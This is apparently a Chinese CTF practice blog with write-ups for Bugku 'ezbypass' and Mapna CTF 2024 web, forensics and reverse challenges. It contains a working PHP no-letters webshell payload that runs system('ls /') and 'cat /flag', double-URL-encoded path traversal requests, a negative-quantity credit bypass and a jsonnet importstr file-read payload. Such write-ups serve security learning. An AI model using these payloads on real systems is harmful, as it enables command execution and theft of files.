CTF练习1

BUGKU题目

ezbypass

参考自己之前写的博客:

RCE挑战(自增的学习) · 语雀CTF练习1_第1张图片

挺典型的一道无字母数字webshell的题目,可以值得再研究下

测试后还有这些字符可以用

post方式传入payload:

code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /

用hackbar要url编码一下

code=%24_%3D(_%2F_._)%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B&_=system&__=ls /

CTF练习1_第2张图片

陈年老payload也行,就是只能拿BP传

code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /flag

CTF练习1_第3张图片

Mapna CTF 2024复现

一个国外的比赛,靠pwn师傅们带了以至没太惨。。。

web

Flag Holding

不多解释,按着它的提示走就行

CTF练习1_第4张图片

Referer: http://flagland.internal/

CTF练习1_第5张图片

我们需要为“secret”设置一个值。我首先尝试传递 、 标头和带有名为密钥的 cookie,但这些似乎都不起作用。SecretAuthorizationSecret

因此,我尝试通过添加 GET 查询来传递它?secret=a

CTF练习1_第6张图片

CTF练习1_第7张图片

在原始 HTML 中有一个线索。所以,利用这个线索,我们将尝试?secret=http

CTF练习1_第8张图片

所以再次请求它,但现在我们使用 get来指定 http 方法,所以我们换成FLAG的请求方式来请求它。Then, we get the flag!

Novel reader

平平无奇的页面

CTF练习1_第9张图片

经过一番点击后,我们发现尝试访问“My Private Collection”中的内容会阻止我们并显示以下消息:

CTF练习1_第10张图片

然后,还有“收费账户”功能,您可以在其中将余额转换为“单词余额”,这似乎是一个单词的 10 个余额积分。

CTF练习1_第11张图片

Now, lets explore the source code.

从我们知道在应用程序的根目录中复制了一个flag.txtDockerfile

CTF练习1_第12张图片

在stuff文件夹中,发现其中包含该站点的所有逻辑。stuffmain.py

CTF练习1_第13张图片

查看 private 和 public 目录中的文本文件,我们发现是它是hardcoded flag的,但让我们先尝试访问它。A-Secret-Tale.txt

正如我们之前发现的那样,尝试阅读私人小说会得到一个信息,告诉我们不能这样做。检查一下代码:

@app.get('/api/read/')
def readNovel(name):
    name = unquote(name)
    if(not name.startswith('public/')):
        return {'success': False, 'msg': 'You can only read public novels!'}, 400
    buf = readFile(name).split(' ')
    buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
    return {'success': True, 'msg': buf}

CTF练习1_第14张图片

存在一个路径遍历漏洞,可用于检索第一个标志。 仅检查路径名是否以“public”开头不足以防止路径遍历。那么像这样的有效载荷可能会起作用,我们现在只需要对其进行编码即可。public/../private/A-Secret-Tale.txt

使用url编码后。我们得到这个有效载荷:public%2F%2E%2E%2Fprivate%2FA%2DSecret%2DTale%2Etxt

为了触发路径遍历,需要对 进行双重编码: ../

public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt

使用payload我们收到了成功消息

ip/api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt

CTF练习1_第15张图片

下一步是找出如何让我们得到flag。由于之前的dockerfile,根文件夹中有一个flag.txt。

因此,在对这个有效载荷进行双重编码后:public/../../flag.txt

ip/api/read/public%252F%252E%252E%252F%252E%252E%252Fflag%252Etxt

 

Novel Reader 2

我认为我们必须在这里提交hardcoded flagA-Secret-Tale.txt

在前面的挑战中,我们已经设置了一个目录遍历,我们必须读取私有文件中的第一个单词。但是我们不允许读取整个文件,因为我们没有足够的积分。

现在,让我们弄清楚如何获得一些积分。以下是添加积分的相关途径。

@app.post('/api/charge')
def buyWord():
    nwords = request.args.get('nwords')
    if(nwords):
        nwords = int(nwords[:10])
        price = nwords * 10
        if(price <= session['credit']):
            session['credit'] -= price
            session['words_balance'] += nwords
            return {'success': True, 'msg': 'Added to your account!'}
        return {'success': False, 'msg': 'Not enough credit.'}, 402
    else:
        return {'success': False, 'msg': 'Missing parameteres.'}, 400

乍一看,这里唯一的检查是看价格是否低于信用。此外,没有对 nwords 进行验证。因此,我们可以将一个负数传递给它,它将以预期的方式运行。

从这个挑战的第一部分,另一件事是这个实现:

@app.get('/api/read/')
def readNovel(name):
    name = unquote(name)
    if(not name.startswith('public/')):
        return {'success': False, 'msg': 'You can only read public novels!'}, 400
    buf = readFile(name).split(' ')
    buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
    return {'success': True, 'msg': buf}

所以,将 -2 传递给 nwords,我们得到:

CTF练习1_第16张图片

这将导致代码读取自 这意味着它将从文件的开头到结尾进行读取。

然后,使用目录遍历进行第一个质询。我们现在可以读取该文件了。

可以读取包含超过 11 个单词的 TXT 文件。事实上,通过将 words_balance 设置为 -1,可以读取 txt 文件的内容,直到其倒数第二个单词。

将words_balance值 -1 与前面的路径遍历方法相结合,可以检索到第二个标志。

/api/read/public/%252e%252e%252fprivate/A-Secret-Tale.txt

Advanced JSON Cutifier3

描述:

CTF练习1_第17张图片

首先查看提供的源代码,我们可以从 github 看到一个经过编辑的 Go 库。

CTF练习1_第18张图片

在服务器上导致一些错误,以尝试识别库:

Expected token OPERATOR but got "}"
Expected a comma before next field

参考了一篇小日子的文章:https://qiita.com/ktateish/items/c07d76fb268575f5a8dc#%E5%88%A5%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%86%85%E5%AE%B9%E3%82%92%E5%80%A4%E3%81%A8%E3%81%97%E3%81%A6%E8%AA%AD%E3%81%BF%E8%BE%BC%E3%82%80 

这两个错误都指向 go-jsonnet 库,该库满足挑战描述中的星号要求。

我最终在存储库的“问题”部分中寻找读取文件的方法并找到此问题。

CTF练习1_第19张图片

它提到了如下所示的有效负载,将生成一个标志。{"flag":importstr "/flag.txt"}

CTF练习1_第20张图片

Forensics

PLC I

描述:

CTF练习1_第21张图片

不多说,流量包硬翻就行

CTF练习1_第22张图片

或者直接用strings命令查看,把各个部分拼接起来就行

CTF练习1_第23张图片

PLC II

描述:

CTF练习1_第24张图片

 参考又是一个小日子的博客:MAPNA CTF 2024 文章 - Hamayan Hamayan

让我们来看看字符串。year:month:day:hour:minute:second:millisecond 

CTF练习1_第25张图片

它看起来像一个型号,看起来它属于一家名为西门子的公司。
让我们看一下协议。似乎是TPKT。

如果从wireshark的右键中选择端口 10203 并将其设置为 TPKT,则会识别 S7COMM。

Tampered

描述:

CTF练习1_第26张图片

我们得到一个文本文件,其中包含许多标志。我们需要看看哪个被篡改了,所以第一反应是滚动浏览,看看是否有任何长度不同的。在vim 中按住 ctrl+d找到了

CTF练习1_第27张图片

MAPNA{Tx,D51otN\eUf7qQ7>ToSYQ;5P6jTIHH#6TL+uv}

Reverse

  很好,又又参考小日子的博客

MapnaCTF 2023 Writeup - CTFするぞ (hatenablog.com)

Compile Me!

描述:CTF练习1_第28张图片

所以解题就是编译给定的 C 代码并将代码执行以获取flag

直接只是 gcc file.c -o file; ./file < file.c 就行,虽然各种报错还是莫名出来了

CTF练习1_第29张图片

Heaverse

描述:

CTF练习1_第30张图片

先查壳看看,64位ELF

CTF练习1_第31张图片

使用 gdb ./Heaverse 用r命令运行 ,参见以下内容:

CTF练习1_第32张图片

我们在 RBX 中看到莫尔斯电码,我们看到传入的莫尔斯电码是缓慢迭代的。因此,我们只需要打印出该位置的内存即可查看完整的字符串。在略高于我们的地址打印,我们得到:

x/s 0x7fffffffe210

 直接莫斯解密即可

CTF练习1_第33张图片

Prism

描述:

CTF练习1_第34张图片

该程序只是打印“你的任务是找到旗帜!再努力一点!!”。 打印此字符串的函数位于 0x31c0。 字符串使用 XOR 密码进行编码。

你可能感兴趣的:(经验分享,安全,web安全)